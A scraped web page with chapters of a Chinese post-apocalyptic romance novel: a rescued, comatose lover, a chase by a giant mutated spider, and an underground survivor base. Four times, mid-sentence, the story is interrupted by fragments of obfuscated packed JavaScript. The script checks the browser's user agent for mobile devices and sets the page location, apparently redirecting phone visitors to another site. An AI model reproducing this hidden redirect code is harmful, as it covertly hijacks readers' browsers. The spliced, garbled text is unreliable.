这部电梯大概从来没有一次载过这么多人,竟然也没过载。而且,不知是不是步景明的错觉,总觉得电梯的上升速度快了很多,没花多少时间,电梯就停住并且打开了门。 这些实验室的人员一涌而出,让外面多了不少窃窃私语。 无暇去顾及这些人,步景明循着记忆找到一个外墙的豁口,钻出去找到队友,便直接从车窗进去,而后显出身形,“快走!” “老大!你…雾草,怎么还多一个人啊?!” 柯九辛在副驾上回头,差点没给吓一哆嗦,还没来得及开口,又被田东宇一脚油门的惯性给狠狠压在了椅背上。 比计划中的多了一个人,所幸他们的车足够大,即便如此,空间依然绰绰有余。步景明把少年平躺安置在后座,还轻轻将他的脑袋放在自己的大腿上。丘月月从一开始就被直接放在空地上,此时看没有多余的座位,也干脆不挪窝了,盘腿坐稳,还伸手扶住了车门来稳住平衡,“你们好啊。” “你好……不是你谁啊!” “别嚷嚷,”步景明终于开口了,“她的身份说来复杂,等回天明了你们再聊。” 自从上了车,他的视线就没有从江入年的身上离开过,“丘月月,他什么时候会醒?” “噢对,这个说来也复杂……”丘月月摸了摸肩上的猫头鹰,“他很久没醒过了。” 8. 途中 “……什么意思?” “就是字面意思,”丘月月叹了口气,“我想想啊,可能是在半年前?也可能更久一点,就没见他睁开过眼睛了。” “不过,仪器显示一切正常,他大概就是单纯的,自己不愿醒来吧。” “……” 长久的沉默。 柯九辛不太能忍受这样的氛围,赶紧开口:“嗐!咱老大不是已经把人救出来了吗!肯定会醒的!哎老大,你要不学一下那个,睡美人?说不定你亲一口就醒了呢!” 步景明没接她的话茬,她只好又去看丘月月,“所以,美女,你到底是谁啊,嚯,还养了只鸟呢?” 似乎觉得一直这样往后转头太累,柯九辛干脆解了安全带,爬到了后面来和丘月月一起坐着,“诶,我能摸摸它吗?” 丘月月很慷慨地把猫头鹰从自己肩膀上抱下来,曲起一条腿让它站上面,“摸吧。” 似乎只有两位女生交流得愉快,田东宇透过车内后视镜,看着步景明几次想把白的过分的少年搂到怀里,最后又放弃了,只是找出一件自己的外套把人彻底包裹严实,又弯下腰,用拇指轻轻地,怜惜地,一下又一下摩挲着他的脸颊。 这一幕实在太美好,太惊人,让田东宇不由自主握紧了方向盘,而后由于过于专注,没有注意避让,车轮一下碾过了一个大坑,让坐在地上的二人一鸟离地飞行了两秒。 “小宇子!你开车怎么不注意点啊,不行换我来开!” 柯九辛骂骂咧咧地揉了揉自己的屁股,田东宇则是收回了投在后视镜上的视线,“抱歉。” 强迫自己将注意力全放在前方路况上的田东宇没有注意,后方的步景明抬起眼皮,也从同样的地方看了他一瞬,接着又垂了下去,思索片刻后,合上了眼。 夜色中的野外并不安全,一般情况下他们不会选择在这样的时间段全速前进,但现在是特殊情况,于是丘月月一路看着田东宇凭借一个改造过的雷达,轻轻松松地避开那些或憩息或行动的异变体。 途中也出现过三四个无法避开的异变体,但没人有任何动作,因为很快,那些异变体都被步景明用暗影拧断了脖子,又或是洞穿心脏与大脑,一击毙命。 丘月月一边惊叹摇头一边拍手,“难怪你们几个人就敢闯实验室救人,这实力着实有些恐怖了。” “这才哪跟哪呢,”柯九辛一拍大腿,“咱老大可厉害了,你还没见过更牛b的呢!” 接下来,柯九辛仿佛在给小孩讲故事那样,专挑一些惊险刺激的事来说,励志要把步景明的大佬形象坐实了,“……老天爷,你敢信老大用一个手指就把那人摁到地上了!动都动不了!” 步景明终于听不下去了,打断她,“别添油加醋。” “好吧……其实是伸出一个手指操控了暗影把那人摁地上了,但是这就不厉害吗?也很厉害啊!” 丘月月配合地点头,“确实厉害!” “还有一次,对面明明拜托老大帮他救人,说是准备了丰厚的报酬,结果把人救出来交给他之后就不认了,真是一个出尔反尔的混账。不过后来我们把他揍了一顿,抢了他大半的物资,也没吃亏。” …… 车内的氛围意外的轻松,任谁都看不出来这群人刚刚趁着月黑风高,给他人的实验室纵了一把火,还带走了两个重要人物,正处在奔逃的路上。 接近正圆的月亮一点点爬过了头顶的位置,这一晚上经历的遭遇也开始让大脑产生倦意,步景明开口让田东宇找个合适的地方停车休息。 “已经够远了,而且整个计划的过程都没被看见,他们要排查也需要时间。” 他看起来一刻也不想离开失而复得的爱人,并没有接手开车的打算,所幸众人都能理解他的心情,没人说些不长眼的话。 丘月月主动提道:“我可以让阿猫站岗,反正它晚上不睡觉,而且它其实是异变体,已经不是普通的猫头鹰了。” 无人有异议,于是丘月月看见了一些刷新世界观的东西:田东宇找了个异变体行动痕迹少的地方,把车一停,柯九辛已经从座位底下抽出了三个睡袋,展开好,给他们二人各递了一个,前后过程大约只有不到十秒。 丘月月拿到睡袋还懵着,柯九辛已经把睡袋往车内空地处一铺就钻了进去,然后探出脑袋来看她一眼,“你应该没有洁癖吧?睡袋都是抽到哪个用哪个,凑合凑合。” 再一看,田东宇也已经放平驾驶位的座椅,把自己放进了睡袋里。 “你们……挺熟练啊。” “嗐,习惯就好,本来睡袋应该缺一个的,不过你看老大那样,估计是到天明基地之前都不打算换姿势了,不用管他,”柯九辛还好心地伸了只手出来,帮丘月月把副驾驶的座椅放平,“长这么可爱,你睡椅子吧,快睡快睡。” “哦……好。” 丘月月吩咐了猫头鹰注意晚上的情况,摘了眼镜爬进睡袋躺下去,闭上眼后,竟迟迟没有睡意。 她这辈子,除开大灾变外,大概就是今晚经历的事最“离经叛道”了,实在刺激。 如果被抓到的话,下场应该很惨吧,但要一直留在那里,帮他们榨取A01的价值,又太昧自己的良心。 哦不对,人家有名字的,叫江入年。 真是个好名字啊。 丘月月胡思乱想着,不知过了多久,终于沉沉地睡去。 也不知是否因为了却了一桩心事,丘月月这一觉睡得意外的舒服,她睁眼的时候,发现天光大亮,车已经开了不知道多久了。 “醒了?饿不饿,让小宇子给你找点吃的。” 这会儿已经是柯九辛在开车了,她左手搭在车窗上,右手松松地控着方向盘,十分惬意地叼着根小树枝,见丘月月醒了,偏头瞧她一眼,“或者,你要不等等,距离天明基地也不远了,到了请你吃好吃的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706893|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >丘月月坐起来伸了个懒腰,摸出眼镜戴上,身后田东宇递了一小袋饼干过来,“还是垫垫肚子吧。” 丘月月一边道谢接过,一边手忙脚乱的把睡袋收起来,猫头鹰从柯九辛的椅背上下来,又落到了她的肩上。 这时再悄悄回头一看,步景明真就一直维持着那样的姿势没变过,看得人啧啧称奇。 这人的腿是不会麻的吗? 步景明此时正在用一小块医用纱布,沾着水,一点点地给江入年润嘴唇。离了仪器的少年在短短一个晚上,就显得更虚弱了,整张脸都是白的,看不见一点血色。 而且,一直这么睡着,也不知道如何摄入食物,一时间,步景明竟然有点手足无措起来。 丘月月“咔吧咔吧”地咬着饼干,想了想,光明正大地回头看了步景明一眼,“短时间内也不用太担心,他能离开营养液这样睡五天呢……哦对,你们用过‘神赐’了吗?” “只有明哥用过。” “噢……”丘月月的眼里带上了一点让步景明看不懂的同情,“那你们知道这玩意是怎么来的了吗?” 几人均是不同程度的摇头否认。 “我想也是,不然不会只为了制造混乱而放火了,”丘月月掰了一块饼干喂给猫头鹰,抬手虚虚一点,“就是用他做的。” 顿时,两个队友的视线都集中到了后排座位上,柯九辛更是一脚刹车差点没把几个人一起甩飞,“哈?!” 丘月月被惯性甩到前面撞了一下挡风玻璃,赶紧把被自己遗忘的安全带系上,又扶了扶眼镜,才重新说道:“太详细的说来话长,还没法长话短说,A……他的天赋能力是强化治愈,那些东西可以看做是他天赋的复制弱化版。” “最开始,他们用的办法是,直接提取他的天赋素,但是数量太稀少而且效果太好,就算稀释了也太过惊世骇俗,不是他们想要的效果。” “于是就发现,他的血与皮,骨与肉,都有这样的能力,而只要留下‘根’,他自己就会无限次的生长修复,最后结出他们想要的‘果’。” 丘月月把最后一块饼干吃完,抹了抹嘴角,“那些绷带下面,是上次摘取后的伤口,就在你们来的前一天取的。但其实,现在已经可以把绷带摘了,没有意外的话,已经恢复得差不多了。很恐怖的能力吧?” 柯九辛腾了一只手出来把她的嘴捂上了,“求你了,快别说了,我觉得老大要炸了,我还想安全地回到基地呢!” 此时若有一个温度计,大概可以肉眼可见车厢内的温度正一点点下降。步景明的脸色沉如深水,右手攥紧成拳,微微颤抖,胸膛因用力呼吸而大幅度起伏着。 天,柯九辛从未见过他气成这样。 任谁都能察觉得到现在的气氛不佳,无人开口打破这死一般的沉默。柯九辛一向是受不了这样的,于是化身F1赛车手,一脚油门把车飙到了二百迈。 就在此时,异变骤生。 9. 蜘蛛 地面忽的震颤起来,几乎要将玻璃上的画面都晃得模糊不清。 “怎么回事?!雷达没显示异常啊!” “咕呜!” 丘月月死死攥着安全带,听见自家阿猫的叫声后快速说道:“右拐!” 方向盘即刻向右打死,轮胎摩擦地面发出刺耳的噪音,柯九辛下意识听了丘月月的指挥转向,下一秒,旁边车窗上就出现了一只巨大的异变体,距离之近,体型之大,一时竟然看不出是什么模样的怪物。 这只异变体是从地下钻出来的,尽管柯九辛反应很快,在转弯的同时踩死了油门,可越野车还是有一只车轮被影响,整辆车被顶飞了半边,而后又重重地落下,前排两位有安全带保护的女生情况尚好,被步景明死死按在怀里护着的江入年也还好,唯有田东宇结结实实地撞上了车门,痛得龇牙咧嘴。 柯九辛探头出窗外看了一眼,“是一只巨大蜘蛛!” 或者说,原型应该是一只蜘蛛,只不过在异变之后,多少有点不太像蜘蛛了:首先是几乎三米高三米宽近乎正方形体型的躯干,整体闪烁着金属质感的反光,几条蛛腿有粗有细,又是和躯干完全不同的毛茸质感,看不见眼睛也看不见口器,此刻正飞速律动着两三米长的蛛腿追赶在越野车后。 “老大,怎么说?感觉它不会给我们机会下车再开打。” 步景明拉出后座的安全带把江入年固定在座位上,脸上神情不见丝毫慌乱,“改道,不能引到天明,开到……” 他观察了一下周边的环境,下达指令:“开到树林里。” 原先为了方便赶路,走的都是还没完全被植物侵袭的水泥公路,眼下步景明发话,越野车顿时一头扎进了不远处茂盛的巨树林中。 足有几十米高,两个成年男性手拉手都环不住的密集乔木有效地阻止了异变体的脚步,异变巨蛛的几条腿狠狠扎进树木里,却无法穿过树木之间的缝隙,只能用蛮力将大树撞翻来获得行动空间。 黑色越野其实行驶得也不算很顺利,如此巨大的树下必然有粗壮虬劲的树根阻挡车轮的行进,只不过比起大蜘蛛的体型来说,姑且还算能灵活地穿梭在绿林之间。 当然,一昧地往前开肯定没办法甩掉它,必须趁着它被限制的时候发起攻击。 步景明放倒半边后排的座位,露出装满各种东西的后备箱,他从里面摸出一把斑驳陈旧的步枪。 即便在全物种觉醒的末世时代,人类文明制造出的热武器在杀伤力上仍然有一席之地。 就是子弹不好找,所以不常用。 队伍里的几人都没有远程攻击的天赋,步景明的暗影姑且能算一个,但大多是当绳索藤蔓那样以绞杀作为攻击方式,眼下这只巨大蜘蛛的表面格外光滑,他的暗影估摸只能用来捆一下几只蛛腿。 “砰!” 子弹破空而出,精准地打中其中一根最粗的蛛腿。 巨蛛发出一声愤怒的尖鸣,剩余的蛛腿更加用力地挥倒一棵又一棵树,和越野车之间的距离顿时拉近了。 它似乎异变掉了喷射蛛丝的能力,一直仅凭几条腿追在车后,这对车上一行人来说是个不错的消息。 步景明思忖两秒,尝试着往躯干上打了一发子弹。 子弹被坚硬的外壳弹开,没留下一点痕迹。 看来得另想办法解决了。 如果有人的天赋是腐蚀一类的话,就可以破开这只异变体的防御,直接杀死它。但眼下队伍里没有人的天赋可以达到类似的效果,性价比最高的选择,就是控制异变体的行动,然后甩开它。 “砰!砰!砰!” 步景明连开三枪,命中先前那条粗壮的蛛腿,同时甩出暗影,一头捆上附近树干,一头则缠住被集中击打的蛛腿。 在异变巨蛛自己向前冲的惯性下,那条蛛腿竟然被硬生生地扯断了! 又是一声比之前分贝更高的尖鸣,震得人耳膜生疼,巨蛛愤怒却又无能为力,彻底失去一条腿导致它的行动速度肉眼可见的下降,与越野车之间的距离在逐渐增大。 步景明在巨蛛扯着嗓子开始嚎的第一秒就收回探出窗外的上半身,回到座位上把步枪扔给田东宇,自己则是伸手捂住了江入年的耳朵。 “田东宇,瞄准它的腿开枪。” 田东宇点点头,端着枪打开头顶天窗,从上面伸出脑袋开始瞄准坚持不懈追在后面的巨蛛。 以巨蛛的体型,往身上打轻轻松松,但要打中不停律动的蛛腿,就有些难度。 田东宇的动态瞄准能力不及步景明,平均五下只能中三下,但也足够步景明再次扯下巨蛛的一条腿。 接连损失两条腿,巨蛛终于放弃对他们的追击,而越野车也开出了这片巨树林,驶进了一片丘陵中。 丘月月按了按自己的胸口,平复自己剧烈跳动的心脏,“也太刺激了,我都好久没有这样正面和异变体接触过了。” “哈哈哈哈哈这才哪跟哪呢,”柯九辛笑着拍拍她的肩膀,“也就是体型大了点,你还没见过更危险的异变体呢。” “话说,辛姐,咱们这是开到哪了?” 重新坐下的田东宇扶了扶眼镜,视线特意避开后座的小情侣,观察起周边的陌生环境。 这是一片他们没有踏足过的地域,别说是他们了,这里绿林丛生,完全是植物狂欢的乐园,看起来并没有人类在此活动。 “不知道开哪了,但是我估计咱离天明又远了六七公里。” 柯九辛终于松开了踩死油门的脚,悄悄活动了一下僵硬的腿,“以防万一,要完全绕开异变体回去的话,还得多开三公里。诶老大……” 她回头望了一眼,只见她人狠话不多的老大同样在向外查看陌生环境,只不过另一只手不知何时已经握上了昏睡的少年的手,而少年歪斜的脑袋也被他稳稳接在肩膀上 。 啧啧,小情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706894|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侣。 她和副驾上的丘月月对了个眼神,随即开始五官乱飞地暗示丘月月去看后面黏黏腻腻的两个人。 这一幕实在看得稀奇,末世五年,丘月月见过太多爱情,要么无疾而终,要么生离死别,要么掺杂了权力与欲望而混乱不堪。 居然还有步景明这种痴情种,放弃一切奔波在危机重重的野外,只为了寻找生死不明的爱人。 还好,最终是个好结局。 步景明感受到了前排女生们投过来的视线,但没有多在意,他的注意力都放在外面肆意生长的植物上,心里隐隐觉得有些不对劲。 “柯九辛,往天明开吧,”步景明从车上找出一瓶隐匿气息的药水扔给田东宇,后者会意拿起药水,把车外壁尽量全喷了一遍,最后关上了窗户。 “好嘞!” 柯九辛又是一脚油门,发动机响起一阵轰鸣,窗外的景象却没有太大的变化。 “?” 地面突兀塌陷,两秒后,越野随着掉落的尘土一同下落,与此同时,在周边埋伏许久的翠绿带刺藤蔓也齐齐发动,自上而下将越野斜着捆成了一个粽子。 好消息,藤蔓降低了他们掉落的速度,没让一行人摔成肉泥,坏消息,他们被困在了车里。 最终,人和车都停在距离地面大约两米高的位置,从车窗外看去,只能看见一片深褐色的泥土墙壁。 这竟然是一个不知多深的坑洞。 “陷阱?!” 这一场坠落让车里几个人都撞得不轻,还未回过神,又听见一道陌生的嗓音:“谁?!车里有没有人?” 这辆改装过的黑色越野,车窗上自然贴了单向膜,坑底出现的人看不出来车里有没有人。 柯九辛几人的目光顿时集中到步景明身上,等着他的意思。步景明并没有急着出声,而是透过玻璃往下看,发现地面上一共三个人,均是男性,手上还拿着制式不一的砍刀。 在这几人的身后,有一个直径三米的圆形通道,看起来他们就是从这里过来的。 步景明向柯九辛比了个手势,她点点头,按下车窗探出头去,“各位大哥,我们没有恶意!” 三人中个子最高的男人看着她,开口问话,正是方才的那个声音,“有几个人?车窗都放下来!” 步景明伸手按下了车窗,大高个看见车里有男有女,甚至还有个疑似病号闭着眼的,脸上的厉色放缓些许,又问道:“你们怎么会到这里来?” 柯九辛回答他,“被一只异变体追过来的,是一只特别大的蜘蛛。我们真的没有恶意,大哥,可以先把我们放下来不?” 底下三人面面相觑,凑到一起嘀咕了几句,随后也不见谁有动作,但禁锢他们的藤蔓开始继续延伸,将越野平稳放到地面后,又缓缓向上收了回去。 步景明把束缚在江入年身上的安全带解开,将他放平在后座座位上,随后和几个人一起下了车。 10. 醒来? 走近了看,才看清三人的长相,普普通通中等水平,除了说话的那个格外高一点,剩下两个的身高差不多,一个留着很短的寸头,另一个留着锅盖头,都属于是扔进人群里眨眼就看不见的类型。 “你们说,是被那只异变体追过来的?那异变体呢?”短寸头问道。 步景明看向他,“被打退了。” 打退了?! 三人的眼神均产生了不小的变化,再看步景明一行人时,眼里就带上了讶异和……谨慎。 步景明同样在审视他们,从气场和方才的行为来看,大高个应该是三人里有话语权的那位,便直接走到他身前,“不好意思,我们无意打扰各位,还有急事在身,请问如何从这里离开?” 末世里像这样在外出现的小队并不少见,察觉不到步景明一行人的恶意,大高个也就直说了,“我们是小草基地的人,这个洞是应对那只异变蜘蛛的陷阱,我们基地另外有路去地面上。” “不过你们这车……可能没法走我们的路上去。” 大高个有些稀奇地看着那辆黑色越野,他们基地里完全没有这种像样的交通工具,也不太用得上,他都不知道多久没见过车了。 如果这些人没办法把车带走的话,他们是不是可以…… 脑子里占便宜的想法还没转完,大高个就眼睁睁看着越野车的下方出现一片浓郁的黑色,整辆车就这样慢慢向下融进了进去,而后这片“吞”了整辆车的黑暗就飞快地来到步景明的脚下,变成了他影子的一部分。 步景明冲他点点头,“麻烦带路吧。” 大高个:“……” “跟我们来吧。” 一行人朝着通道里走去,步景明和大高个两人走在了前头,柯九辛在后面好奇地问锅盖头,“你们基地是在地下吗?” “对,因为地上有那只异变蜘蛛,它占领了附近很大一片区域,我们起初也是在地面上的,后来不得不搬到下面来。” 柯九辛抓着他聊,三两句就聊出了这个基地的情况。 小草基地,起初是五六个人抱团生存成立的基地,完全没有人类文明的产物做支撑,几个人在野外全靠砍树造房,食物来源则是靠采集和打猎,活了三个月,就和野人没什么区别。 直到附近突然出现了一只异变蜘蛛,即便当时的小草基地吸纳了几个新成员,但十来个人里没有一个人的天赋是战斗方面的天赋,特意做的防护墙也无法阻拦它,面对这样一只速度快外壳硬还能遁地的怪物,基地几乎是瞬间就被打散了,死伤惨重。 若非当时的基地首领站出来,选择调动全身的能量自爆,试图与蜘蛛同归于尽,他们余下的几个人甚至连转移到地下的机会都没有。 但异变蜘蛛并没有死去,仍然霸占着这一片区域,所幸存活下来的几人中,有一人的天赋是“隐匿”,这才帮助他们躲避蜘蛛的每一次寻找,勉强得以在地下发展生存。 但几年下来,为了护住基地的人,他也快要消耗殆尽,一旦没有他的天赋,可以钻地的异变蜘蛛想要彻底摧毁吞噬他们简直轻而易举。 不是没想过离开,可他们缺乏对外界的消息来源,身上物资也不充足,若是又意外闯进另一个厉害角色的领地,或是山穷水尽也找不到人烟…… 顾虑总是那么多,所以只有个别几个人决定离开小草基地,去寻找其他相对安全的基地求生,目前留在这里的,都属于保守派,轻易不打算离开。 可蜘蛛也确实是一个很大的祸患,所以他们最后想出设陷阱的方法来试图伏击蜘蛛,没想到蜘蛛没逮到,逮到了他们。 后面在闲聊,前头大高个也在问步景明,“你们是哪个基地的人?这附近还有别的基地吗?” “我们没有所属基地,”步景明摇摇头,“不过我们要去天明基地,在路上遇到突袭,这才走到这边来。” “天明基地?在哪?远吗?” 若是放在大灾变之前,那当然算不上远,只不过如今,在基地以外的地方几乎都不再属于人类能掌控的地界,别说在这其中穿行十公里,就是一公里,都有潜藏的危险。 能活到现在的人,这些道理不会不懂,所以在步景明给他指了天明的方向并说明有多远时,大高个眼里的光暗了暗,随后便不再提问,只默默地领他们走到通道尽头,推开一扇土门。 这一路的光亮都较差,距离很远才设置了一个火把充当照明。而土门一经推开,一个亮堂的地下基地霍然出现:高足足有五米,正中央是一大片宽广平整的空地,设置了一个不小的灶台,堆着一些柴火,再远一点的地方甚至有一小片菜地,地里正冒着细细小小的绿芽。 另有五条和他们经过的通道差不多的路径,不知通向什么地方。 中央空地上零散地坐着几个人,打眼望去,全是男人,或高或矮,唯一的相同点大概只有都瘦得出奇。 一看就战斗力不足,难怪没法打过异变巨蛛。 眼见大高个带了一串陌生人进到基地里,空地上的几个人都不由自主地向他们投来目光,更有人直接张口问道:“首领,这几位是?不是说去看是不是异变体掉陷阱了吗?” 原来大高个就是这个基地的首领。 大高个简单和基地里的人介绍了一下步景明他们,随后又看向步景明,笑着说道:“不好意思,方才没有及时说明身份,我姓王,王平,是小草基地的首领。几位要不要先在我们基地里坐坐,休息休息?” 他眼里的谋算太过明显,步景明并没有正面回应他,而是直接问道:“你有所求?” “……”王平挠了挠头,没见过这么直接不兜弯子的,“好吧,是这样,方才听几位的说法,你们打退那只异变蜘蛛似乎很轻松,我想,能不能拜托你们,把那只蜘蛛彻底杀死?” “当然,不是让你们白干活,基地自有报酬送上。” 柯九辛闻言又扫了一圈眼前这个基地,在后方和丘月月咬耳朵,“感觉找这个基地要报酬像在打劫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706895|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 步景明同样不觉得这个基地能拿出什么像样的报酬,何况他现在没有多余的心思管他人死活,早点回到天明想办法检查一下江入年的情况才是正事。 “抱歉,还有急事……” 王平打断他,“等等,别急着拒绝,不如听听是什么报酬?” 一旁有人似乎猜到了首领的想法,有些难以置信地开口:“首领,你不会是想把那个……” 王平瞪了他一眼,转头看步景明时又换上一副讨好的笑容,“不知,你们知不知道‘神赐’这个东西?“ “……” 看步景明的眼神,王平就确信他知道,自信满满地说:”我们基地在一个月前机缘巧合得到了一支,用这个做报酬,如何?” 话音落下,基地里顿时陷入死一般的寂静。 柯九辛暗中拍了拍田东宇的手臂,用眼神询问他:一会儿老大要是突然暴起,我们是拦还是不拦? 田东宇:明哥不会这么冲动的。 柯九辛:要不还是拦一下吧。 田东宇:你想多了,明哥什么时候冲动过? 柯九辛:我已经准备好了,一会儿你辅助我! 田东宇:…… 不仅是步景明这边的队友有话要说,对面基地的人看起来更急,几次想张嘴都被王平拦了下来,只静静等着步景明的意思。 “抱歉,没有兴趣。” 步景明神色未变,但对面的王平脸上笑容一僵。 怎么回事,这人到底知不知道“神赐”是什么东西?! “等等,就算你们用不上,但是至少,也可以拿去做交易啊!不再考虑考虑吗?” 一直被拦着不让说话的基地成员憋不住了,“首领,那是要给林子用的!没有他的天赋,我们分分钟就要被找到了!” “你是傻子吗,”王平恨不得直接给他一暴栗,“就算给林子用了,能顶多久?那他还能一直这样维持一辈子吗?直接把异变体杀了才能永绝后患!” …… 步景明一行人到底是暂且停留在小草基地了,原因无他,越野车里的江入年醒了。 步景明察觉到动静时,对面王平还在和基地成员说着话,但他顾不上那么多,简单和王平打了个招呼后,找了个无人的空地将车放了出来。 这辆改装过的大型越野车一出现,比他们这群人还要吸引基地成员的视线,甚至有人通风报信,从通道里还出来好几个人围观这辆末世中难得一见的大车。 无暇顾及他人目光,步景明拉开车门一步跨进去,低头时正巧撞上那双紧闭许久的眼睫颤了颤,滑落在座椅外的手指微动,似乎马上就要醒来了。 步景明几乎要连呼吸都止住,他蹲在江入年的身旁,将那只滑落的手拾进掌心,用力地握了握。 一秒,两秒。 步景明对上他睁开的眸子,一愣。 那是一对,与记忆中截然不同的,湛蓝如无云晴空的眼睛。 11. 琉璃眼珠 江入年的眸色没有步景明的那么深,反而格外的浅,若是在阳光下一照,连繁复的瞳纹都能看得清晰。 怎么不见了?怎么变成这幅模样了? 不是不好看,如此纯粹的蓝色很适配他的那张脸,让江入年看起来就像独得上帝宠爱的神子。 可那两只眼睛里,没有映照出步景明的身影。 就像洋娃娃脸上的琉璃眼珠,不过是单纯的死物。 步景明的呼吸都带着颤,抬手抚上他的脸侧,“年年?” …… 呼吸正常平稳,偶尔眨眨眼,可除此之外,江入年却根本没有别的动作,像一具无魂的躯壳。 激动的心跳没欢快多久就被一盆冷水浇得透心凉,步景明吐出一口浊气,扭头冲窗外叫了一声,“丘月月。” “诶,怎么……啊,醒了?” 丘月月钻进车里,后面还跟着柯九辛,柯九辛一看见江入年就忍不住赞叹,“龟龟,先前都没敢仔细看,老大,你对象也有点太好看了吧?这眼珠子,真稀罕。” 没去理会柯九辛,步景明坐到后座上,将少年的上半身搂进自己怀里,虽是在问丘月月,眼神却丝毫没有从江入年的脸上移开,“他这是怎么回事?” 丘月月过来看了看,对江入年这样的状态并不意外,“醒了一半,大约处于一种脑子醒了,但是身体还僵着的状态,其实他现在能听到我们说话了。” 能听到吗? 可步景明看那双如无机质一般的眼睛,只觉得心脏都被攥住了,紧绷和发胀。 他没有再问丘月月什么时候才能彻底醒过来,至少,已经睁开眼了,他们现在有很多的时间,可以慢慢来。 田东宇在外面,靠着车门,偶尔装作不经意般往里面瞅一眼,右手握起拳,又松开,最后狼狈地移开视线。 同样站在车外的还有王平,他还等着说动步景明帮他们基地剿杀那只异变巨蛛,看见田东宇晦暗不明的神情,忍了忍,没忍住,还是凑上去问道:“里面那位是什么人啊?” “他是……”田东宇感觉自己的咽喉痉挛一瞬,“是明哥的爱人。” “啊?”王平也探头往里瞅,“男的啊?” “……” “好吧,都末世了,而且他一看就不像是近女色的那种类型,也正常。”王平说服了自己。 某大型建筑内。 一部类手机的仪器上不断闪烁移动的小红点在某个时刻突然消失,整个屏幕只余下一遍遍扫描的光幕。 “嗯?” 有人迈步过来,拿起仪器,点击了几个地方后,眉头挑起。 “什么时候跑掉的?” 他最近真是有点太忙了,竟然没留意他最大的宝贝的动向。 他放下仪器,又从口袋里掏出一台手机,拨出一通电话。 “去这个坐标,除了A01以外,全都格杀勿论。” 步景明手上端着一个塑料碗,里面是热腾腾的白米粥,漂浮着一点肉丁,米是向长霖硬塞进后备箱的,肉是小草基地友情提供的,粥也是用小草基地的灶台煮的。 当然没有白用人家的,小草基地没有种水稻的条件,所以柯九辛把米分了半袋子,让这群躲在地下许久的人久违地吃上了白米。 江入年已经被扶着坐了起来,乖乖地靠在车座椅上,坐得还挺稳当。 步景明舀起一小勺粥,吹了好一会儿,又自己试了试确保不会烫到后,才小心翼翼地递到江入年的嘴边。 很好,虽然还没完全恢复正常,但至少能吃能喝,还会咀嚼粥里的肉丁不至于让自己噎到。 步景明耐心地喂了一勺接一勺,直到碗里的粥下去了一半,江入年这才不再主动张嘴接下勺里的米粥。 看来是吃饱了,就是这个食量是不是有点太少了? “年年,再吃一点?” 步景明又尝试了几次,确认对方是真的不吃了以后,自己仰头把剩下的粥一饮而尽,碗和勺都丢进了临时袋里。 “年年,你……” “首领!” 车外的动静忽然嘈杂起来,基地里的人绝大多数都出来喝粥了,人不多,也只有十来个,但在这时从其中一条通道里又跑出来一个人,带着哭腔大喊着:“首领!林子的天赋要维持不住了!” 王平脸色一变,扔下碗就要往里冲,但跑到一半又硬生生停住,他咬了咬牙,扭头跑回来,正好撞见步景明从车上下来,“阁下!大佬!那只异变蜘蛛的巢穴里这里并不远,而它对人类有极强的攻击性,一旦林子的隐匿天赋失效,我们在地下就会被它一锅端的!” 这是把步景明架起来了,没法不管,因为他们自己人也在这里。 步景明盯了他许久,也可能并没有很久,只是王平心里着急这件事,以至于在对方沉默的这段时间里,就好像被开了慢速,周围人的动作都慢了起来,而自己也被盯得心里发鼓。 他是不是已经惹恼对方了……? 王平惴惴不安,正犹豫着要不还是收回这个请求,就听见步景明说:“把‘神赐’给你们那位成员用吧。” 还没等王平露出失望的神色,步景明又道:“把天赋维持住,要对付异变体最好主动出击,而不是被动防御。” 这是要管的意思了。 王平的眼里顿时亮了,连连道谢,接着很快就往通道里跑去。 柯九辛站在步景明身旁,挑眉看他,“老大,不是最讨厌被人道德绑架?” “年年也在车上,安全为上,杀一个异变体也不是什么难事。” “啧,”柯九辛被这个称呼肉麻到了,“老大,原来你谈起恋爱是这种风格的,好悬没给我把牙酸倒了。” 柯九辛又想起什么,“话说回来,老大,我还以为你现在根本见不得有人用那个东西,之前我和小宇子还打算在你生气要动手的时候拦一拦呢。” 步景明:……? 时至今日,步景明依然不知道柯九辛对他的一些误会是从哪里来的。 他们作为外人,也就没有跟着小草基地的人一起进到通道,走到基地深处,而是在外面空地上等待,大约十分钟后,王平走了出来。 “林子的天赋稳定了,‘神赐’的效果简直是……太神奇了,”王平回想方才,在他冲进房间里时,林子的天赋就已如同沙漠中干涸的绿洲水源,在油尽灯枯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 